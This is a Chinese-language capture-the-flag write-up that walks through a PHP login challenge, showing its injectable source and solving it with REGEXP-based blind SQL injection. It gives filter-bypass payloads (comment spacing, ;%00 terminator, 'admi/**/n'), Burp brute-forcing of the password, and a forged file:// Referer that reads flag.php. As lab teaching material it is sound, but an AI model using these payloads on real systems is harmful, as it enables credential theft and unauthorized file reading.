SQL正则盲注-regexp

题目链接: 地址

下面是题目源码

<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__); 

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
    die('<h1>Hacking first,then login!Username is very special.</h1>'); 
}
if(preg_match($check_list, $_POST['passwd'])){
    die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; 
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
    echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; 
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
}
?> 

我原本以为一道sql 以为只是个青铜,没想到它却是个王者。

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

当我看到了,这一串过滤名单后,我就知道,这道题注定不凡!!

我们先介绍一下正则表达式注入

说通俗点就是常用的筛选语句被过滤的时候使用like 或regexp进行匹配,regexp支持正则表达式匹配

//判断第一个表名的第一个字符是否在a-z之间

?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*


//REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z
//判断第一个表名的第一个字符是n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
//表达式如下:

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

 

//这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 就行了
//例如security数据库的表有多个,users,email等

 

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的

 

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的

 

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的

 

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确

 

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确

 

实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。limit 作用在前面的 select 语句中,而不是 regexp。
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";  

题目中的sql语句是这样的。

由于过滤了空格,我们用/**/绕过
由于过滤了# - ,我们用;%00绕过

构造payload如下

username=\&passwd=||passwd/**/REGEXP/**/"^d";%00

这里有个坑。。我们再回看一下 过滤列表

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"; 

能看到%00 是过滤列表的,而我们payload的却含有%00,那么,为什么不会被过滤??
经过作者的一番测试发现,参数在传到php的时候,会预先进行一次urldecode
在这里插入图片描述

在这里插入图片描述

这就是%00在payload里面,却不会被过滤的秘密了!

那么开始用burp爆破
在这里插入图片描述
添加好爆破位置,开始爆破。
在这里插入图片描述
第一位爆破成功,d,开始爆破第二位
在这里插入图片描述

第二位爆破成功,为0.

依次类推,爆破得到密码为:d0itr1ght
得到了密码,那么就开始登陆。由于过滤了admin,采用admi/**/n绕过
在这里插入图片描述

if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
} 

看到登陆成功后,可以进行读文件,那么flag一定在某个文件中,御剑扫一下。

在这里插入图片描述
扫到了flag.php

修改referer 为:file://localhost/var/www/html/flag.php ,得到flag
在这里插入图片描述

发布了50 篇原创文章 · 获赞 12 · 访问量 1920

猜你喜欢

转载自blog.csdn.net/weixin_45940434/article/details/103722055
今日推荐